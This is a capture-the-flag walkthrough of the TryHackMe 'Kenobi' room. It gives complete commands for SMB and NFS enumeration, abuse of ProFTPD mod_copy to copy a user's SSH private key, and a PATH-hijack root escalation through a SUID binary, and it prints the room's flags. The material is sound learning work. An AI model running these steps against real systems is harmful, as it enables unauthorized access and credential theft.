ArticlesToolsContact
Page cover

THM Kenobi walkthrough

https://tryhackme.com/room/kenobi

Write down your target ip:

10.10.41.115 # this is example

Nmap

always do proper nmap scan in the first place. It is you starting point and the most important source of knowledge on target machine.

─$ sudo nmap -sV -sC 10.10.126.130
[sudo] password for przemo: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 23:06 CEST
Nmap scan report for 10.10.126.130
Host is up (0.052s latency).
Not shown: 993 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9d:36:de:d0:39:fd:b1:fb:b0:44:c4:58:0b:28:c9:a4 (RSA)
|   256 71:8f:d8:9c:bf:ad:4a:0c:af:94:9d:8b:6c:34:1f:0f (ECDSA)
|_  256 9b:f4:23:c0:5c:2c:1b:9e:4e:5b:48:7c:ef:92:64:68 (ED25519)
80/tcp   open  http        Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/admin.html
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      34070/udp   mountd
|   100005  1,2,3      47397/udp6  mountd
|   100005  1,2,3      51421/tcp   mountd
|   100005  1,2,3      60221/tcp6  mountd
|   100021  1,3,4      33589/udp   nlockmgr
|   100021  1,3,4      34483/tcp   nlockmgr
|   100021  1,3,4      40803/tcp6  nlockmgr
|   100021  1,3,4      46741/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 4
445/tcp  open  netbios-ssn Samba smbd 4
2049/tcp open  nfs         3-4 (RPC #100003)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-10-15T21:06:40
|_  start_date: N/A
|_clock-skew: -1s
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.70 seconds

SMB enumerating shares

smbclient

┌──(przemo㉿kali)-[~/Downloads]
└─$ smbclient -L //10.10.126.130 -N

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        anonymous       Disk      
        IPC$            IPC       IPC Service (kenobi server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 10.10.126.130 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

enum4linux - detailed enummeration

enum4linux -a 10.10.126.130

Metasploit

msfconsole
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS 10.10.126.130
run

smbmap

└─$ smbmap -H 10.10.171.122        

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[\] Checking for open ports...                                                  [|] Checking for open ports...                                                                                                                                                                          
[+] IP: 10.10.171.122:445       Name: 10.10.171.122             Status: NULL Session
        Disk                                                    Permissions    Comment
        ----                                                    -----------    -------
        print$                                                  NO ACCESS      Printer Drivers
        anonymous                                               READ ONLY
        IPC$                                                    NO ACCESS      IPC Service (kenobi server (Samba, Ubuntu))

[\] Closing connections..                                                       [|] Closing connections..

connecting to anonymous share

─$ smbclient //10.10.171.122/anonymous 
Password for [WORKGROUP\przemo]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Sep  4 12:49:09 2019
  ..                                  D        0  Sat Aug  9 15:03:22 2025
  log.txt                             N    12237  Wed Sep  4 12:49:09 2019

9183416 blocks of size 1024. 2919020 blocks available

smb: \> get log.txt 
getting file \log.txt of size 12237 as log.txt (59.5 KiloBytes/sec) (average 59.5 KiloBytes/sec)

smb: \> exit

┌──(przemo㉿kali)-[~/Downloads]
└─$ ls
log.txt 

┌──(przemo㉿kali)-[~/Downloads]
└─$ cat log.txt                      
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa): 
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
...

rpc port 111 showmount

we will find the place where network file system is mouted

└─$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.171.122
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-16 10:14 CEST
Nmap scan report for 10.10.171.122
Host is up (0.050s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-ls: Volume /var
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID  GID  SIZE  TIME                 FILENAME
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  .
| ??????????  ?    ?    ?     ?                    ..
| rwxr-xr-x   0    0    4096  2019-09-04T12:09:49  backups
| rwxr-xr-x   0    0    4096  2025-08-10T06:48:58  cache
| rwxrwxrwx   0    0    4096  2019-09-04T08:43:56  crash
| rwxrwsr-x   0    50   4096  2016-04-12T20:14:23  local
| rwxrwxrwx   0    0    9     2019-09-04T08:41:33  lock
| rwxrwxr-x   0    108  4096  2025-10-16T07:58:28  log
| rwxr-xr-x   0    0    4096  2025-08-09T13:38:21  snap
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  www
|_
| nfs-statfs: 
|   Filesystem  1K-blocks  Used       Available  Use%  Maxfilesize  Maxlink
|_  /var        9183416.0  5773752.0  2919068.0  67%   16.0T        32000
| nfs-showmount: 
|_  /var *

Nmap done: 1 IP address (1 host up) scanned in 1.57 seconds

ftp ProFTPD 1.3.5

SearchSploit (np. searchsploit openssh) >

  • searchsploit -u - update database

  • searchsploit -m [path] - download script

└─$ searchsploit ProFTPD 1.3.5
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution  | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Exe | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Exe | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                     | linux/remote/36742.txt
---------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

The mod_copy module implements SITE CPFR and SITE CPTO commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination. You can see it when you download and open 36742.txt file from searchsploit.

We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.

So we need to try to copy private key to some other accessible location - in our case we found the mount point /var we could later mount also to our Kali

Connecting to ftp

nc 10.10.126.158 21 - open connection to proftpd

then put commands: SITE CPFR /home/kenobi/.ssh/id_rsa -> copy from (we copy provate key for ssh) SITE CPTO /var/tmp/id_rsa -> copy to (and we save it to /var location which we have access to)

└─$ nc 10.10.171.122 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.171.122]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful

now we have copied private key to nfs-showmount directory /var

The task is to mount the target’s exported /var directory via NFS on the attacking machine, access the stolen SSH private key from /var/tmp, set proper permissions, and use it to SSH into the target system as the kenobi user.

What is NFS?

NFS (Network File System) is a protocol that allows you to:

  • Share directories over a network

  • Mount remote directories as if they were local

  • Access files on another computer transparently

Think of it like:

  • Shared folders in Windows (SMB shares) but for Linux/Unix

  • A remote folder that appears as a local folder on your system

What Did You Find?

####1. Port 111 - RPC (Remote Procedure Call)

From your first scan:

111/tcp  open  rpcbind     2-4 (RPC #100000)

Explanation:

  • rpcbind = Service that manages RPC connections

  • Required for NFS to work - it's like a "directory service" that tells clients which port NFS is using

  • Port 111 is the "coordinator" for services like NFS

2. Port 2049 - NFS Service

From your first scan:

2049/tcp open  nfs         3-4 (RPC #100003)

Explanation:

  • This is the actual NFS service listening

  • NFS version 3-4 is running

  • This allows file sharing over the network

What the Nmap Script Found

Command Breakdown:

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.192.73

  • -p 111 = Scan port 111 (rpcbind)

  • --script=nfs-ls = List files in NFS shares

  • --script=nfs-statfs = Show filesystem statistics

  • --script=nfs-showmount = Show which directories are exported (shared)

Script Results Explained:

nfs-showmount:
|_ /var *

What this means:

  • The server is exporting (sharing) the /var directory

  • The * means ANYONE can access it (no IP restrictions)

  • This is a CRITICAL security vulnerability!

In simple terms:

/var * = "Hey everyone on the network, you can mount and access my /var folder!"

Why Mount /var to the Attacking Machine?

The Attack Strategy:

Step 1: Discover NFS share Step 2: Mount the share to your machine

sudo mkdir /mnt/kenobiNFS
sudo mount -t nfs 10.10.171.122:/var /mnt/kenobiNFS

  • mkdir /mnt/kenobiNFS = Create a local directory to use as mount point

  • sudo mount = Mount command (requires root)

  • -t nfs = Type of filesystem is NFS

  • 10.10.126.130:/var = Remote server and directory

  • /mnt/kenobiNFS = Local directory where it will appear

Step 3: Browse the files as if they were local

cd /mnt/kenobiNFS
ls -la
cd log
cat auth.log

The Attack Explained:

Before mounting:

Attacker Machine                Target Machine (Kenobi)
┌─────────────┐                ┌──────────────────┐
│             │                │                  │
│   Kali      │◄──────NFS─────►│  /var/ (shared) │
│  Linux      │                │  ├── log/        │
│             │                │  ├── www/        │
└─────────────┘                │  └── backups/    │
                               └──────────────────┘

After mounting:

Attacker Machine
┌─────────────────────────────┐
│   Kali Linux                │
│                             │
│   /mnt/kenobiNFS/  ←──┐    │
│   ├── log/            │    │
│   ├── www/            │    │  Appears as LOCAL
│   └── backups/        │    │  but is actually
│                       │    │  REMOTE files!
│   This is actually───┘    │
│   10.10.126.130:/var       │
└─────────────────────────────┘

What you can do now:

  1. Read all files** in /var

  2. Search for sensitive data** (SSH keys, passwords, configs)

  3. Analyze logs** for usernames and system info

  4. Download files** to your local machine

  5. Use tools like grep, find** to search efficiently

SSH

What We're Looking For:

  1. SSH private keys in /var/tmp

  2. Information about users (like the user "kenobi")

  3. Files that can help you gain access to the system

We will go to /mnt/kenobiNFS/tmp and connect via ssh using private key: We also need to add 600 privileges to the private key:

SSH Key Permission Requirements

Permissions
Notation
Meaning
SSH Accepts?

-rw-------

600

Only owner: read/write

✅ YES

-rw-r--r--

644

Owner: rw, Others: read

❌ NO (too open)

-rwxr-xr-x

755

Owner: rwx, Others: rx

❌ NO (too open)

-r--------

400

Only owner: read

✅ YES (read-only)

-rwx------

700

Only owner: rwx

✅ YES (but overkill)

Best permissions for SSH keys:

  • 600 (rw-------) = Standard for private keys

  • 400 (r--------) = More restrictive, also OK

cp /mnt/kenobiNFS/tmp/id_rsa ~/Downloads/kenobi_id_rsa
chmod 600 ~/Downloads/kenobi_id_rsa  # adding permissions to the key

ssh -i ~/Downloads/kenobi_id_rsa kenobi@10.10.171.122

kenobi@kenobi:~$ ls
share  user.txt
kenobi@kenobi:~$ cat user.txt 
d0b0f3f53b6caa532a83915e19224899 # flag
kenobi@kenobi:~$

Find SUID binaries (CRITICAL):

find / -perm -u=s -type f 2>/dev/null

  • find / = Search entire filesystem

  • -perm -u=s = Files with SUID bit set

  • -type f = Only files

  • 2>/dev/null = Hide error messages

Look for unusual binaries! Common SUID binaries are normal, but look for something custom or uncommon.

output (look for this):

/usr/bin/menu

This is UNUSUAL! Standard systems don't have /usr/bin/menu with SUID.

Check the binary:

ls -la /usr/bin/menu

Output:

-rwsr-xr-x 1 root root 8880 Sep  4  2019 /usr/bin/menu

  • rwsr-xr-x = The s means SUID bit is set

  • Owner: root = When you run it, it runs AS ROOT

  • This is your escalation vector!

Run the binary:

/usr/bin/menu

Output:

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :

Test each option:

Enter your choice: 1

Use strings to see what it executes:

strings /usr/bin/menu

Look for command execution patterns:

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
...

CRITICAL FINDING:

  • The binary calls curl, uname, and ifconfig

  • WITHOUT FULL PATH (not /usr/bin/curl)

  • This means it uses PATH environment variable to find these commands

  • PATH MANIPULATION VULNERABILITY!

Since the binary:

  1. Runs as root (SUID)

  2. Calls curl without full path

  3. Uses the PATH variable to find curl

We can:

  1. Create a fake curl that spawns a shell

  2. Put it in a directory we control

  3. Modify PATH to check our directory first

  4. When menu runs "curl", it actually runs OUR fake curl

  5. Our fake curl runs as ROOT = ROOT SHELL!

Create the exploit:

Put below command in Kenobi terminal:

cd /tmp
echo '/bin/sh' > curl
chmod 777 curl
export PATH=/tmp:$PATH

Line 1: cd /tmp

  • Change to /tmp directory (we have write access here)

Line 2: echo '/bin/sh' > curl

  • Create a file called "curl" - we use curl but you can also use uname or ifconfig fake name to trick /usr/bin/menu binary

  • Put /bin/sh inside it (this will spawn a shell)

Line 3: chmod 777 curl

  • Make it executable by everyone

  • 777 = rwxrwxrwx

Line 4: export PATH=/tmp:$PATH

  • Modify PATH variable

  • Put /tmp at the BEGINNING

  • Now system looks in /tmp BEFORE /usr/bin -> this is critical part! We created face curl, pasted it into /tmp which is added in the beginning of path so menu binary will automatically run it in first place before it reaches to real curl

The whole attack idea is to fake one of the 3 real commands use by menu binary and manipulate PATH to sue our fake commands as first to execute. And because menu binary has SUID set it will run our fake command (with shell built in) as root.

PATH Manipulation

echo $PATH

output:

/tmp:/usr/local/bin:/usr/bin:/bin:...

Notice /tmp is FIRST!

which curl

output:

/tmp/curl

System will use OUR fake curl first!

Trigger the Exploit

/usr/bin/menu

Choose option 1:

** Enter your choice: 1

What happens:

  1. Menu binary runs as ROOT (SUID)

  2. Tries to execute curl -I localhost

  3. Looks for curl in PATH

  4. Finds /tmp/curl FIRST (because we modified PATH)

  5. Executes /tmp/curl as ROOT

  6. Our fake curl contains /bin/sh

  7. ROOT SHELL SPAWNED!

whoami

Output:

root

You are now root!

id

Output:

uid=0(root) gid=0(root) groups=0(root)

Get the Root Flag

cd /root
ls -la
cat root.txt

Output:

177b3cd8562289f37382721c28381f02

Submit this as the root flag!

Complete Exploit Commands (All Together)

# After SSH login as kenobi

# 1. Get user flag
cat ~/user.txt

# 2. Find SUID binaries
find / -perm -u=s -type f 2>/dev/null

# 3. Analyze /usr/bin/menu
strings /usr/bin/menu

# 4. Create exploit - put commands into terminal
cd /tmp
echo '/bin/sh' > curl
chmod 777 curl
export PATH=/tmp:$PATH

# 5. Verify
echo $PATH
which curl

# 6. Trigger exploit
/usr/bin/menu
# Choose option 1

# 7. You should now be root
whoami

# 8. Get root flag
cat /root/root.txt

Why This Works - Technical Explanation

SUID Bit:

  • Allows a file to run with the permissions of its owner

  • /usr/bin/menu is owned by root with SUID

  • When kenobi runs it, it executes AS ROOT

Relative Path Vulnerability:

  • Binary uses curl instead of /usr/bin/curl

  • System searches PATH directories in order

  • Attacker controls PATH variable

PATH Manipulation:

  • Normal PATH: /usr/bin:/bin

  • Modified PATH: /tmp:/usr/bin:/bin

  • System checks /tmp first now

Exploitation:

[menu binary]
     ↓
Calls "curl" with SUID (root privileges)
     ↓
System looks in PATH: /tmp:/usr/bin:/bin
     ↓
Finds /tmp/curl FIRST
     ↓
Executes /tmp/curl as ROOT
     ↓
/tmp/curl contains: /bin/sh
     ↓
ROOT SHELL!

Cleanup - if you finished Kenobi room

Step 1: Unmount the NFS Share

First, make sure you're NOT in the mounted directory:

cd ~

Explanation:

  • You cannot unmount a filesystem if you're currently inside it

  • Change to your home directory or any other location

Unmount the NFS share:

sudo umount /mnt/kenobiNFS

Explanation:

  • umount = Unmount command (note: it's "umount" not "unmount")

  • /mnt/kenobiNFS = Mount point to unmount

  • sudo = Required because you mounted with sudo

Verify it's unmounted:

ls /mnt/kenobiNFS

Expected output:

(empty directory)

Step 2: Remove the Mount Point Directory

sudo rmdir /mnt/kenobiNFS

  • rmdir = Remove directory (only works if directory is empty)

  • This deletes the mount point we created

If you get "Directory not empty" error:

sudo rm -rf /mnt/kenobiNFS

Warning: rm -rf is powerful - double check the path!

Step 3: Remove the SSH Key

rm ~/Downloads/kenobi_id_rsa

  • Removes the SSH private key we copied

  • Good security practice - don't leave keys lying around

If you want to keep it for reference:

mkdir ~/TryHackMe_Keys
mv ~/Downloads/kenobi_id_rsa ~/TryHackMe_Keys/

Step 4: Remove SSH Known Hosts Entry

Remove the target from your known_hosts:

ssh-keygen -R 10.10.171.122

  • -R = Remove host from known_hosts file

  • 10.10.171.122 = The Kenobi machine IP

  • This removes the fingerprint stored during your first SSH connection

Why do this?

  • TryHackMe machines are temporary

  • Next time this IP might be a different machine

  • Prevents "WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!" errors

Step 5: Verify Cleanup

Check mount points:

mount | grep kenobi

Expected output:

(nothing - no output means it's unmounted)

Check for leftover files:

ls -la ~/Downloads/ | grep kenobi
ls -la /mnt/ | grep kenobi

Both should return nothing related to Kenobi.

Complete Cleanup Commands (All Together)

# 1. Exit SSH session if still connected
exit

# 2. Change to home directory
cd ~

# 3. Unmount NFS share
sudo umount /mnt/kenobiNFS

# 4. Remove mount point
sudo rmdir /mnt/kenobiNFS

# 5. Remove SSH key
rm ~/Downloads/kenobi_id_rsa

# 6. Remove from known_hosts
ssh-keygen -R 10.10.171.122

# 7. Clean temp files (if any)
rm /tmp/curl 2>/dev/null

# 8. Verify cleanup
mount | grep kenobi
ls /mnt/

Troubleshooting Unmount Issues

Issue: "Device is busy"

sudo umount /mnt/kenobiNFS
umount: /mnt/kenobiNFS: target is busy.

Solution 1: Check what's using it:

lsof | grep kenobiNFS

Solution 2: Force unmount:

sudo umount -l /mnt/kenobiNFS

  • -l = Lazy unmount (detach filesystem immediately, clean up later)

Solution 3: Kill processes using it:

sudo fuser -km /mnt/kenobiNFS

Explanation:

  • fuser -km = Kill all processes using this mount point

  • Warning: Only use if you're sure no important processes are running

Solution 4: Check if you're still in the directory:

pwd

If output shows you're in /mnt/kenobiNFS/*, exit first:

cd ~
sudo umount /mnt/kenobiNFS

Summary - Cleanup Checklist

  • Unmount NFS share: sudo umount /mnt/kenobiNFS

  • Remove mount directory: sudo rmdir /mnt/kenobiNFS

  • Delete SSH key: rm ~/Downloads/kenobi_id_rsa

  • Remove known_hosts entry: ssh-keygen -R IP

  • Clean temp files: rm /tmp/curl

  • Verify: mount | grep kenobi (should return nothing)

PreviousCTF Machines & Labs walkthroughNextUseful tools and links

Last updated